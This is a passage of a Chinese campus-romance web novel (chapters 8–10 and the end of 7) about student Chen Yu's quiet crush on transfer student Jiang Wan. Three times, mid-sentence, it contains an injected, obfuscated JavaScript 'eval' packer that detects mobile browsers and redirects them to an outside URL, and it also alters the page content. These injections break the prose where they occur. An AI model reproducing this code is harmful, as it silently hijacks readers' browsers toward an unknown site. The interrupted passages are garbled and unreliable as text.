“不是说了吗,你家附近有一家奶茶店不错,我想去试试。”陈屿心不在焉地应付着,眼神在门口的身影中来回逡巡,好几拨人过去了也没看到姜挽的身影,他有些烦闷。 “你想喝我明天给你带过来不就行了,你犯得着今天专门和我跑一趟吗?再说了,昨天那么多,你还没喝够呢?”孟云程调侃道。 陈屿真是一点应付他的心思都没有:“你管那么多呢,我现在就想喝。” “行吧,随你。”车来了,孟云程招手让司机在路边停下,他打开车门坐进去,却发现陈屿没有跟上来,依旧在朝四周看着,似乎有事。 孟云程侧着头叫他:“喂,发什么呆呢,还跟不跟我去了?” 还是没看到姜挽的身影,陈屿猜想她应该是从另一个门出去了,毕竟刚才他们离开时,她已经不在教室了。 “去。”再次看一眼校门口,陈屿弯腰钻进了车了。 一上车,孟云程的质问便劈头盖脸而来:“陈屿,我发现你小子今天有问题,非要跟我回去就算了,刚才还四处东张西望的。”他眼睛一转,得出一个大胆的猜想,“你不会是得罪了什么人,跑我这躲灾来了吧?” 说完,还故意做出一副“惊恐”的表情,惹得前排的司机师傅都回头看了他们一眼。 陈屿淡淡瞥了他一眼,虽什么都没说,可那意思已经很明确了,除了“有病”二字,已经没有其他的词能更准确地形容他了。 “从学校回你家,只有这一条路吗?”陈屿换了话题。 转换得太快,孟云程有些没跟上来,他反应了会儿,才开口:“我不确定,不过我每次坐车都是走这条。” 司机听到了他们的对话,以为他们是考虑绕路的问题,很认真地回复:“路不止这一条,但我们开车基本都走这条,这条路程短,而且还能避开很多红绿灯,减少堵车。你们放心吧,我不会无缘无故绕路的。” 被误会了,陈屿忙开口:“我不是这个意思,您只管开就行。” “那你是什么意思?”孟云程凑过来,语气八卦,像要听一个秘密。 陈屿懒得搭理他,推了他脑袋一下:“什么意思都没有,就是单纯问问。” “随你,”孟云程耸肩,表示不再追问了,“对了,一会儿奶茶你想喝什么口味的?” “什么奶茶?” “就你刚才说的想喝我家附近的那家奶茶啊。” “哦,”陈屿开始现编,“好几种都不错,一会儿到了再选吧。” “也行。” 后面,孟云程接了一个电话,是他爸打过来的,询问他这段时间的学习情况。 在孟云程添油加醋,自夸自擂的言语里,陈屿侧眸往外看,傍晚的天色,像是加了一层昏黄的滤镜,看什么似乎都有一股未尽的飘渺和朦胧感。 在这夕阳下,这在晚风里,他多么希望能看到姜挽的身影,哪怕只是一个擦肩而过都可以。 但很可惜,一路车子行驶到目的地,他也没看到。 奶茶店的生意很好,多半都是像他们这种的年轻人。没来之前说的信誓旦旦的陈屿,真到了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448253|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,反而有些兴致缺缺了。 “你喝哪个?”孟云程指着牌子问他。 “就那个。”陈屿随便指了一个,当下便掏出手机付钱。 两人拿了奶茶出来,微风从树梢吹过,原本是心旷神怡的,陈屿却觉得有些疲惫。 “去我家玩会儿?” “不了,下次再说吧。”没碰上姜挽,他也没什么心情。 “也行,反正这段时间我爸盯我盯得紧,去了也没什么好玩的。” 孟云程送他到主路打车,转过街角,路过公交站台,许是不死心吧,鬼使神差地,陈屿侧眸朝那边看了一眼。 只这一眼,可能是巧合,也或许是冥冥中的注定,他还真就看到了一道从公交车上下来的身影。 是姜挽,她还穿着校服,身旁站着一个和她身高体型都十分相似的妇人,应该就是孟云程上次提到的她母亲了。 陈屿的心开始跳,跳得不合时宜,跳得乱了分寸。这时再起一阵微风,带起了她衣摆的形状,他便觉周遭空气都清新了几分。 耳边是喧闹的车流,远方是落日的余晖,可他却什么也注意不到了,眼睛里只有远处的那道身影。 突然,孟云程的声音在耳边响起:“哎,那不是姜挽吗?还真是巧,在这也能碰见她。怎么样,我没骗你吧,她就住这个小区。” “嗯。”陈屿胡乱应一声,飞快地收回自己的视线,怕他这失神的样子被孟云程发现。 “我得过去和她打个招呼,这也太巧了吧。” 孟云程要去,被陈屿拦下了:“都走远了,而且她身边还有长辈呢,这样追过去,不太合适。” “也对,”孟云程反应过来,没再继续坚持,他转身带着陈屿朝相反的方向走,“我带你换个地方打车,这里真是太他妈堵了。” —— 陈屿说得对,如果这个时候他们上前打招呼的话,确实不太合适。 姜挽将这次摸底考试的成绩告诉了沈曼,一开始她还挺高兴的,可没说几句,话题便再次绕到了之前那些事上。 那些老生常谈,姜挽不知该如何是好的事情。 “妈妈只有你了,以后也只能依靠你了,你一定要努力学习,替我争一口气。将来,也能让我在这里,在你奶奶面前都抬得起头来。” “嗯,我知道。”姜挽不知该如何接这话,只能小声应答。 这种事情,沈曼总是要一遍遍地确认才安心。就像她说的,如今的姜挽是她所有的生活目标和精神寄托。 “对了,你刚才说的同桌,这次考第一名那个男孩,他人怎么样,没欺负你吧?”沈曼继续问。 “没有,他人挺好的。”姜挽想了想,又补充道,“还有其他同学,也都挺好的。” “嗯,这些你都自己把握。妈妈不反对你交朋友,但是要一定要注意分寸。你现在,最重要的事情就是学习,把心思都花在学习上,考上个好大学,以后什么都会有的。至于交朋友什么的不用着急,现在的孩子心智都不够成熟,什么朋友闺蜜的,过段时间也就散了,还是学习重要。” 沈曼这是借机在提醒她,姜挽明白。 从上初中开始,沈曼便经常会在这些事情上让她注意,姜挽懂得也听话,一直都做的很好。 “妈,你放心吧,我会注意的。” 8. 第 8 章 大概是因为傍晚那会儿看见了姜挽的背影,陈屿这一整晚的梦,都和她有关。 梦很多,也很乱。 一会儿是她穿着开学那日的白T和牛仔裤,安静地站在悬铃木下;一会儿又是她趴在桌上,睫毛轻阖的侧脸;还有认真写试卷时的蹙眉神情…… 就这么来来回回,迷迷糊糊地做梦,半梦半醒间,陈屿觉得脸上一片亮光,他伸手去遮,从指尖的缝隙中微睁开一只眼,才发现窗外不知何时已经天光大亮了。 又是一个大晴天。 反正也睡不好,他干脆不睡了。快速在家里吃完早餐,再由司机开车送到学校,走进教室时,早自习还未正式开始。 教室里人很少,只有几个平日里一向勤奋的同学到了,当然,这些人里,就包括姜挽。 陈屿知道她每天来得早,因为以往他每次到时,她便已经到了,只不过没想到会这么早,提前了半个小时还不止。 他走过去,敲了敲姜挽的椅背,姜挽回头一看是他,吓了一跳:“你怎么来了?” “我来上课。”陈屿淡淡回她。 “不是,”反应过来后,姜挽也觉得自己刚才的问题有些蠢,忙起身给他让位置:“我是说,你今天怎么这么早?” “起得早了点。”可关于起早的原因,他却只字不提。 陈屿侧身进去,经过她的课桌时,注意到她写在笔记本上的那些内容,不像是作业,倒像是某种时间安排计划。 “你每天都来这么早?”他问,故意将语气表现得不在意,乍听起来,像是对她刚才那个问题的礼貌回问而已。 “差不多,基本都是这个点。”姜挽重新坐回座位,继续写她那笔记本上的时间安排。 “为了做这些?” “嗯,也不全是,还包括其他的一些复习和预习。” 两人一问一答,还挺自然。 自从上次陈屿因为排名第一的事情给他们买奶茶后,姜挽就已经不像之前那么怕他了。他其实,并不像他外表看起来那么冷。 所以,平时两人话虽不多,可正常的寒暄沟通基本都有。 没一会儿,教室里陆陆续续又进来了几位同学,很快,便听到一阵读书声,还有书本资料翻阅的声音。 陈屿歪靠着椅背,一手撑着桌子,一手懒懒地转着笔。他没翻书,也不打算看。他今天来这么早,就不是为学习来的。 可时间长了,难免会有些无聊。 陈屿环顾了一圈,发现不止姜挽,其他人也都很认真。就他一个无所事事的,像个异类。 睡觉吧,又不困。干坐着吧,也坐不住。 突然想起来昨天晚上英语老师布置的那套试卷,为了和她说话吧,也为了给自己找点事干,陈屿敲了敲姜挽的桌面:“你英语作业写完没?” 姜挽点头:“写完了。” “那刚好,借我抄一下。” “抄?” “怎么,不愿意?” “不是,”她只是觉得这个字,从他口中说出来,太不可思议了,“你不会写吗?” 话出口,意识到这句话有歧义,姜挽又追加了解释:“我的意思是,这些你应该看一眼就会了,还需要抄吗?” “是会写,但我懒得看。”陈屿很坦诚,“一堆字母看得眼花。” “哦。” 犹豫了下,姜挽还是拿给他了。她没给人抄过作业,但之前也见过,忍不住提醒了句:“你抄的时候最好改几个答案,这样不容易被发现。” 没想到她懂得还挺多,陈屿“哼笑”一声:“这么有经验,以前经常借给别人抄?” 他这个“哼笑”的意味太明显了,听起来就像在说她是一个经常给别人抄作业的坏学生。 姜挽解释:“不是,但是我见别人抄过,因为一字不改被老师发现了。” 她的语气很可爱,认真,谨慎,还带着点透露秘密的小心翼翼。 “哦——”陈屿拖长尾音,语气里有一股掩饰不住的欢愉,可惜姜挽没听出来。 “行,我知道了。” 他把她的试卷平铺在桌面,这才去找自己的那张。可桌上的试卷太多,且基本都是空白的,他没耐心看,心不在焉地草草翻一遍,没找到,就懒得再翻了。 姜挽注意到他的动作:“你在找试卷?” 陈屿有些尴尬:“啊,对,我记得就放在这了。”他装模作样地又翻了一遍,还是没有。 姜挽抬手指了指:“这张好像就是。” 这堆试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448254|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卷的最上面一张,就是一张英语卷子。而且姜挽记得,发试卷那天,当时他随手一放,应该也是在这个位置。 陈屿伸手拿起来,靠,还真是。 那他刚才的那一系列动作在她眼里算什么?跳梁小丑?欲盖弥彰? 沉默,漫长的一段沉默,还有尴尬。 陈屿回想起他刚才的那通操作,还真是挺傻逼的。 急于想要说点什么来缓解此刻的气氛,陈屿也没多想,脱口而出:“你是住在林萃路?” 话出口才意识到,这个话题有些过于私人了,可他也控制不住,这话题自从昨晚便一直在他脑海中盘旋,现在不说,过会儿也会找机会说的。 好在,姜挽并没有表现出被冒犯,她只是惊讶:“你怎么知道的?” 陈屿直说:“孟云程也住在那里,我昨天去找他的时候看见你了。” “是吗?那你们怎么没叫我?” “你当时身边还有其他人,怕你不方便。” 他这么说,姜挽便懂了,应该是她放学,沈曼来接她的那会儿。 “嗯,那个是我妈妈。” 老实讲,确实不太方便,沈曼一向不喜欢她和异性来往太多。而且林萃路那里也不是她的家,是她舅舅的家,她们不过是借住而已。 可这些她都没和陈屿说,因为觉得没什么必要。 很突然的,话题冷了下来,气氛也跟着冷了。 陈屿也不知道哪句话说的不对,但隐隐感觉到姜挽好像有些不高兴了。 “那附近有一家奶茶店味道还不错,有机会的话,你可以去试试。” “嗯。” “对了,你是从哪里转学来的?” “江城。” “江城不错,是个挺出名的旅游城市吧?” “嗯,你有机会也可以去逛逛。” 纯纯尬聊。 最后还是姜挽主动结束了对话:“要是没有其他事情的话,”她晃了晃自己手中的课本,“我看这个了。” “没了,你看吧。” 一次不怎么成功的搭讪。 陈屿默默在心里给这场对话下了定义。 实在没话讲了,他默默对照姜挽的卷子,将答案一个个抄了上去。 9. 第 9 章 进入十月,气温有了明显的降低,每日早晚尤为明显。偶尔遇上大风下雨的天气,外套更是出门必备。 算算时间,姜挽来这里也已经两个月有余了。从夏入秋,从江城到北城,她的人生发生了翻天覆地的变化。 人生如此,心境亦是如此。 痛苦,绝望,迷惘,崩溃,这些她都经历过。再到如今的自渡和面对,不能说已经完全恢复,但至少她已经很努力地在向前生活了。 尤其是生活交际这一块,以前在江城时她都没几个朋友,没想到来了这,反而还遇到了交心的。 那便是尤伽。 姜挽也没想到,初见时并不怎么热络的两个人,却在熟悉后发现,两人的性格竟是如此对盘。 开朗,仗义,直言,这些都是她欣赏且羡慕尤伽的地方。 而反过来,用尤伽的话说,细致,耐心,脾气又好,则是她最喜欢姜挽的地方。 她们从来都不是一模一样,却又是彼此欣赏,惺惺相惜。 —— 上午的大课间,教室里很安静,大部分同学都出去了,有些留下的,也都是在默默做题。 连续好几日阴天,今天难得有微弱的阳光从窗户透进来,落在姜挽的侧脸和手臂,照得她皮肤一片粉白。 她这会儿没写作业,而是在帮尤伽检查错题。她倒是认真,只不过这作业的主人却走神了。 尤伽侧坐在凳子上,右手搭在椅背,下巴搁上去,眼睛一眨不眨地看着她:“呦呦,你长得真好看,我就没见过比你皮肤还白,五官还精致,身材还好的人。” “呦呦”是姜挽的小名,自从尤伽知道后,便一直这样叫她。一开始姜挽还有些不习惯,毕竟这个名字除了她家里人之外,再没其他人叫过。 后面时间长了,也是尤伽叫的次数实在太频繁吧,她貌似产生免疫了,如今再听到也已经完全习惯了。 只是尤伽的“糖衣炮弹”这一套,她一向都不吃,姜挽蹙着眉:“夸我也没用啊,这道题你还是写错了,得重写。” “没问题,”尤伽从她手中接过试卷,很爽快,“我夸你本来也是真心的,和这些没关系。”她挪了挪凳子,以便能看得更清楚些,“你再给我讲下解题思路呗,我能更明白些。” “好,你看这句话,这句话是重点……” 题目不难,方法也很简单,只是尤伽之前的思路有些偏了,经过姜挽这么一解释,瞬间便清晰明了了。 “还真是,这么一看,我全都明白了。” “是吧,这种题目其实不难,以后再遇到你就会做了。” 姜挽很温柔,很耐心,讲题的时候也一直都是循循善诱的,她和那些谣言里的一点也不一样,尤伽一直都知道。 可她知道,并不代表大家都知道。 自姜挽入学以来,因为外表和成绩突出的原因,她很快便在学校里出名。被评头论足,被说三道四,她是男生眼中的女神,也是女生眼中的异类。 而且又因为她总是独来独往,学校里关于她的谣言并不少,什么性格恶劣,脾气暴躁之类的都是最轻的,更有甚者还开始编排一些关于她的黄色谣言,以此来证明她不合群是有原因的。 这些,尤伽听到过不少,可从来没和她说过。但没说过,却并不代表她不为她气恼。 和那些人争论没用,试图解释也没用,回击谣言最好的方式,就是用事实来证明。证明她有朋友,也是有人维护的。 看着姜挽那双淡如琥珀色的眼睛,尤伽突然开口:“呦呦,我请你吃饭吧。” 姜挽一愣:“啊?为什么?” “为了你给我讲题呀,我得感谢你。” “没必要吧,咱俩这关系,不用的。” “也是,”她俩这关系,根本不需要刻意做什么的,尤伽想了想,“那我邀请你,以后午饭和我们一起吃,这个行吗?” 尤伽口中的“我们”,指的是她,孟云程,还有陈屿。 姜挽知道,正因为知道,才有些不愿意:“不用吧,我平时都是一个人,和你们一起我怕不习惯。” 尤伽很坚持:“没事,时间长了就习惯了,你刚才也说了,反正你都是一个人,和我们一起也热闹点,对吧。” 姜挽还是有些犹豫:“要不还是算了吧。” 见她实在为难,尤伽于是想出了折中的办法:“要不这样,你要是实在觉得不习惯的话,我就不和他们一起了,每天中午吃饭的时候我就陪着你,就我和你,我们两个人,怎么样?” “别,你千万别这样。”听她这样说,姜挽立马拒绝,这段时日,她大概能看出来,孟云程和尤伽之间有些东西是不一样的。 虽然这两人都没明说,可他们彼此之间的气氛却骗不了人。孟云程无论什么事都顺着尤伽,被骂了也不还口,反而是关心尤伽的嗓子痛不痛…… 稍一带入孟云程的想法,自己本来和尤伽好好的每天都能一起吃饭,现在就因为她的原因,反而没办法一起了,这他得多生气啊。 这种事情,姜挽干不出来。再说了,就凭孟云程那个唠叨劲儿,真要是这么做了,她还不得被烦死。 “为什么?”尤伽追问。 “你们几个本来一起挺好的,因为我的原因被拆开,没必要的。” “所以啊,你得和我们一起,你和我们一起,会更好。” 尤伽很坚持,姜挽能看出来她是真心的,况且也就是一起吃饭而已,再拒绝下去,就显得有些矫情了:“我也不是不愿意,”和尤伽她当然没问题,主要是还牵扯到另外两个人,“不是还有孟云程和陈屿吗,他们也没意见吗?” “孟云程不用考虑,他听我的,只是陈屿……”尤伽也有些犯难,他的性格大家都知道,一向不喜欢和女生打交道,“我让孟云程去和他说。” 姜挽回过神来,苦笑了一下:“原来你还没问过人家的意思呢,就来问我了?” “我当然得先问你了,在我这,你的意见最重要。” 尤伽动作很快,果然下一节课间的时候,孟云程就将这事和陈屿提了,只是在开口前,他也做了不少的心理建设。 陈屿一向不喜欢和异性打交道,他嫌那些女生烦,这点孟云程是知道的。如今他却要开口让一个女生加入他们的“小团体”,让陈屿天天面对,这事,想想就难办。 可再难办,他也得硬着头皮办。 开口前,孟云程先是东拉西扯了好一会儿,听得陈屿都烦了:“你有事能不能直说?” “这么明显吗?”孟云程很尴尬。 陈屿凉凉看他一眼:“你自己不知道吗,你每次有求于人的时候,都特别欲盖弥彰。” 孟云程想了想,好像还真是,他不好意思地摸了摸鼻子:“好吧,确实有事求你,不过不是我,是尤伽。” “说。”陈屿对他这些前奏已经没有一点耐心了,这次,连眼神都懒得给他。 “她想让姜挽和我们一起吃午饭,问我们同不同意。” 陈屿没想到会是这件事,一瞬间,他手上的动作停了,心跳也几不可闻地慢了一拍。只是他反应很快,装得也像,没让孟云程看出什么破绽。 他半晌不说话,孟云程还以为他不高兴了,一股子破罐子破摔的口气:“行还是不行,你总得给句话吧,我也好回去交差。” 良久,陈屿终于掀起眼皮,语气和声音都很淡,听不出来情绪:“你的意见呢?” “我当然同意了,”孟云程一副心甘情愿的受气包的模样,“你又不是不知道,她说什么我都会同意的。只是平常都是我们三个一起,突然要加进来一个人,也还是要问下你的意见的。” “所以,现在是就等我的意见了?” “是啊,就等你了。”孟云程有些紧张。 陈屿抿了下唇,那样子像是要拒绝,可下一秒,却突然开口:“你们都没意见,那我也没意见。” 他这么轻易地就同意了,孟云程倒是没想到:“不是,你这么容易就同意了?我记得你以前是最讨厌异性打交道的,连和她们说话都觉得烦,这次怎么这么好说话?” 陈屿淡淡看着他:“那我说不同意,你现在就去和尤伽说,看她怎么和你闹。” “不,不,不用了,”孟云程忙朝他抱拳:“你同意,对大家都好,”他还以为陈屿是因为他的原因,“兄弟,大恩不言谢啊,以后我找机会报答你。” “滚,很用不着。”反正他同意,本来也就不是因为孟云程的原因。 食堂一楼的米线档口,姜挽跟在尤伽后面排队,她后面是陈屿,再来就是孟云程了。 来来往往间人很多,皆是端着餐盘经过的,环境有些嘈杂,空气中不时飘来一阵阵饭香。 尤伽点了番茄米线,姜挽要了三鲜的,她能吃辣,还特意交代老板要多放点辣椒。 她和尤伽的先做好,需要先去找座位,端着餐盘离开时,姜挽隐约听到身后的陈屿说了一句:“和她一样。” 靠窗的位置,刚好能容纳四个人,姜挽和尤伽先坐下。阳光照进来,能看到她碗里漂着的一层红油。 尤伽看得咋舌:“呦呦,没想到你这么能吃辣。” 姜挽点头:“嗯,我从小就喜欢吃辣。” “那你皮肤怎么还这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448255|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么好?是不是越吃辣,皮肤越好啊?改天我也试试。” “这个我还真不知道,”姜挽将刚才拿的筷子递给她,“要不你先试试我这个,看能不能接受?” 尤伽接过筷子,夹了一些,刚送进嘴里,便立马吐了出来:“不行,不行,太辣了,我接受不了。” 姜挽给她递水,细心地帮她把瓶盖拧开:“那你还是老老实实地吃你的番茄口味吧。” “确实,也就只有番茄适合我了。” 两人正聊着,陈屿和孟云程也端了餐盘过来,尤伽一眼瞥见陈屿碗里的辣椒,简直和姜挽的如出一辙:“不是吧,你也点了这么辣的?我刚还在感叹呦呦能吃辣,没想到你也选了这个。可不对啊,我记得你以前不是不吃辣椒吗?” 每次尤伽发言,孟云程必然跟随,他瞥一眼陈屿碗里的红油:“是啊,我也记得你是不能吃辣的,今天怎么回事?” 陈屿有点烦他们的大呼小叫,皱着眉,冷淡开口:“点错了。” 其实确实是失策了,他只想着和姜挽点一样的,却没想到她竟然这么能吃辣。 “要不你去换一份吧,我看你这怪辣的,吃起来肯定难受。”这个时候,孟云程倒是还有些贴心。 陈屿没回答,而是抬头看了姜挽一眼,她就在他对面,正小口吃着米线,偶尔还会喝两口汤:“辣吗?” 突然被叫,姜挽连忙放下勺子,口中的米线来不及咬断,被她“呲溜”一口吸了进去。 “还……还行。”喉咙有些辣,她不自觉咳了两声。 她要去拿水,眼前突然伸出一只大手,指节修长,血管分明。那大手径直绕过她,将旁边的饮料拿了过来,放在她面前,是陈屿。 “刚才不是说还行吗?”语气很淡,听不出来情绪。 瓶身被他捏过的地方微微有些凹陷,很快,又弹了回来。姜挽接过水,有些尴尬:“……是吃得太急了。” 陈屿没再问,拿起筷子准备开吃,孟云程追问:“你真不换了?” 陈屿用勺子轻轻将红油拨到一边:“算了,懒得麻烦了,将就吃吧。” “行吧,随你。”孟云程也没再多管,准备吃自己的,刚挑起米线,又突然想到刚才尤伽的话,“对了,你刚才叫姜挽什么?” 听到这个话题,陈屿默默将手中的勺子放了下来,他其实刚才也听到了,只是没找到机会问。 尤伽喝汤正喝得有滋有味的,头都没抬:“呦呦啊,她的小名。” “哪个呦?”孟云程追问。 “‘呦呦鹿鸣’的‘呦’。”这次回答的是姜挽。 “那不是《诗经》里的一首诗吗,”具体名字叫什么,孟云程忘了,但他记得内容,“呦呦鹿鸣,食野之苹?” “对。”姜挽应一声。 “这个名字好,看来你父母是希望你像森林里的小鹿一样,自由自由地生活。” “嗯,差不多。”姜挽不是很想聊这个话题,回答都是尽量简短。 “你父母一定很爱你,从起名字就能看出来,”孟云程话多,且一聊起来总是容易忘形,经常会注意不到别人的情绪,“真羡慕你,你不知道,我爸对我可严格了,一个月见不了几次不说,偶尔打电话过来,还都是骂我的。” 姜挽将碗里的米线来回夹着,却没送进嘴里:“或许,他那也是一种爱你的表现吧。” “爱我?还是算了吧,这种窒息的,带着强烈掌控欲的爱,还是不要的好。” 他这句,姜挽没接,孟云程没注意到,还在夸夸其谈,尤伽忙着吃米线,也没参与这个话题,只有陈屿注意到了,其实早在孟云程开启这个话题的时候,他就发现姜挽似乎不大热心。 “吃你的米线吧,话怎么这么多。”他碰了一下孟云程的手肘,强行结束了这个话题。 许是也意识到了自己的话有些多,孟云程耸耸肩,没再说。 后续,除了尤伽偶尔会和姜挽说几句话,气氛一直都比较安静,孟云程是因为插不上她们的话题,而陈屿则完全是因为太辣了。 辣得他开不了口,辣得他没办法思考。 可他也没表现出来,硬撑着基本算是吃完了。 从食堂出来,他第一件事便是去卫生间,孟云程一路跟着他,见他在洗手池旁不停地漱口,觉得纳闷:“你明明不能吃辣,刚才为什么不换?就算不换,你非得吃完吗?那米线味道就那么好?” 陈屿含了一大口凉水在嘴里,长时间降温下来,才觉得好了点,他嘴硬道:“我乐意。” “行,你乐意,”孟云程重复他的话,笑了,“难得看你这样,不过还挺有意思。” 10. 第 10 章 学校近期打算组织一场“学习交流会”,主要想让上次摸底考试排名前三的同学给大家做一个分享。分享经验,交流方法,顺带给大家鼓鼓劲儿。 接到这个通知的时候,韩华有些为难,理科班的前三名,第一和第二都在他们班上,要分享,就得安排陈屿和姜挽两个人。 姜挽应该没问题,他能看出来,那是一个懂事听话的孩子,可陈屿就不好说了。 这几年大大小小的分享交流会学校没少安排他,可他就是嫌麻烦,一个都不参加。偏偏这小子成绩好,家里又有权势,也没人能说他什么。 可这次不一样,他们是毕业班,关乎学校本年度的升学率。有用的,没有的,只要是方法,大家就都想试一试,所有人都希望能多出几个高分的学生。 韩华也知道,正是因为知道,所以在校领导向他提出这个要求时,才没有一口拒绝,而是说愿意试试看。 正纠结,办公室门口突然走过几个高大的身影,还有说笑声,韩华抬头去看,恰巧陈屿就在其中,他朝门口喊了一声,招手让他进来。 这小子年纪不大,气质却出众。身高腿长,身姿孤拔,普通的校服和帆布鞋穿在身上,竟也能看出几分矜贵的气质。 “老韩,找我什么事?”陈屿见到他,不像其他的学生那般拘谨,反而像朋友似的,很随意。 “怎么说话呢,没大没小,”韩华虽嘴上这样说,可到底也没生气,“叫你过来,是有件事想告诉你,关于学习交流分享的活动。” 韩华一五一十地把学校的要求都和他说了,如他所预料的那般,陈屿果然不愿意,那眉头自从听到“学习分享”这几个字后就再没舒展过。 韩华叹一口气,语重心长:“要是搁以前,我也就不安排你了,可这次不一样,学校重视升学率,什么方法都想试一试,所以上次摸底考试的年纪前三都得参加。理科班的你,姜挽,还有一班的那个宋明宇,都得做分享。” 听到姜挽的名字,陈屿心中的抵触瞬间就消了,还有刚才那一直拧着的眉头。他其实是想问姜挽的,却狡猾地不肯直接开口:“他们都会参加吗?” “当然了,这几个里面就你最难搞,所以我才要单独和你说。” “哦,”陈屿想了想,貌似在思考,“那我也参加吧。” 韩华一瞬间有些没反应过来:“真的?” “真的啊,既然是学校要求的,我也没什么拒绝的理由吧。” 预想了好几种被拒绝的情况,韩华做梦也没想到这小子竟然这么爽快就答应了:“你小子,关键时候还是很给力的!”他很高兴,忍不住笑出声,下巴上的短胡髭随着被牵动,“你回去和姜挽说一声,今天放学先别走,我把这件事的细节再具体和你们说一遍。” 陈屿回到教室的时候,姜挽不在座位,想来应该是和尤伽一起出去了。 他没什么其他的事,百无聊赖地等了会儿,很快,便见着她和尤伽从门口进来。 尤伽估计是讲了什么笑话,把她逗笑了,那双琥珀色的桃花眼果然和陈屿之前想的一样,笑起来,恰如一弯浅浅的新月。眼睛稍一转,里头似荡着一层水光。 陈屿没见她这样笑过,一时有些愣神。直到她在自己身边坐下,头顶投下一抹暗影,他才回过神来。 柔软的微风中,陈屿开口的声音有些哑:“那个,班主任让我和你说件事。” 他很少结巴,姜挽还以为是什么大事,忙停下手上翻书的动作,侧眸看向他:“什么事?” 她有些紧张,陈屿看出来了,于是放缓了声音:“关于学习交流分享的,学校要求上次摸底考试的前三名给大家做一下分享,你也在里面。我刚才回来的路上被班主任叫去了,他让我告诉你,今天放学了先别走,他会具体说一下细节。” 他难得一次性说这么多话,姜挽听的很认真。可一听是这些,心里立刻就开始发怵。 她之前的学校,整体教学和氛围都比较死板,类似的这种活动一次都没举办过,所以她没经验。再加上她本身也不大喜欢这种场合,就更担心了。 “这种分享会,我之前没参加过。”她很坦诚。 陈屿其实也没有,可还是要装作很有经验的样子安慰她:“就是上台说几句话,分享分享自己的学习经验,有人问问题就回答,很简单的。” “哦。”姜挽觉得他说的有道理,正默默领悟,突然反应过来,既然是前三名,那么他应该也在里面。况且他常年霸榜第一,这样的活动肯定参加了不少,比她有经验多了。 一瞬间,她仿佛看到了希望:“所以,这种活动你以前经常参加吗?” 陈屿不想骗她,可也不愿意推翻自己刚才故意立下的“很有经验”的人设,于是,他选择性地忽略了这个问题:“你是想让我传授经验?” 他是心虚,可此刻看在姜挽眼里,就是不耐烦了,她小心翼翼继续道:“可以吗?” 可以倒是可以,只是经验什么的,他也没有啊。 该死。 生平第一次,陈屿觉得有苦难言。好在这时候上课铃声突然响了,他可以理所当然地先应付过去:“晚点先听听老韩的意见吧。” 姜挽知道他口中的老韩指的就是班主任,她当然不会这样叫了:“好的,那先听听班主任怎么说。” 放学后,韩华将他俩叫进了办公室。 韩华今天心情是真好,这次不仅年级第一和第二都在他们班,更重要的是,陈屿这小子竟然答应参加了,要知道,前两年,无论他怎么劝,这小子可都是一直无动于衷的。 人高兴了,他的话自然也就多了起来。 从排名到升学,从他们班到整个年级,再到北城所有的高中,该分析的,不该分析的,他全都捋了一遍。甚至还包括以后的大学志愿,韩华也推荐了几所,可就是没聊到这次交流会上。 姜挽还好,老师说的话,她一向都是认真听的,倒是陈屿有些坐不住了:“老韩,你说了这么多,到底这个交流会我们应该注意什么,你还没说呢?” 他这么一开口,倒是提醒了韩华,韩华这会儿也懒得和他计较称呼的问题了,猛拍了一下脑门:“你看我这记性,刚才一高兴就把正事忘了。你俩都是第一次参加这种活动,我是该多和你们说些注意事项的。你们先等等,我把学校下发的正式通知找出来。” 说罢,他侧身去桌上的那堆文件里翻找,留陈屿和姜挽两个人站着。 气氛安静,但更尴尬,主要是陈屿。 他怎么也没想到韩华刚才会突然来那么一句,说他也是第一次参加,这不就相当于把他直接暴露了吗。 要知道他会这么说,刚才就不催他了,由着他信马由缰地胡侃,也比现在当面揭他的老底来得好。 晚间有风,带来丝丝凉意。 借着关窗户的动作,陈屿偷偷瞥了姜挽一眼,好在她神色如常,看起来并没什么变化,就姑且认为她没听见那句话吧。 “找到了,”好半晌,韩华才从那一堆文件里翻到了他想要的那张,递给陈屿,“来,你们看看,其实也没什么特别的,就是交流。我们开会的时候校领导也说的很清楚了,主要还是看学生自己的意愿。形式,内容你们都可以自己选,结合自己平时学习的习惯,实事求是地分享就可以了。” 后面,针对交流会的具体流程和心态调整,韩华也做了不少的解说,结束时,外面的天色已经黑透了。 姜挽看了眼时间,好在还能赶得上最后一趟公交。 她收拾好东西,和陈屿告别,一路也没怎么注意周围的环境,直奔公交站台。到了拿卡的时候才发现,陈屿此时就在她身后,和她隔着一段不远不近的距离。 迎面车来了,姜挽来不及多想,忙刷卡上车。找了个座位坐下,正打算隔着窗户和陈屿打个招呼,却发现站台上已经没有他的身影了。 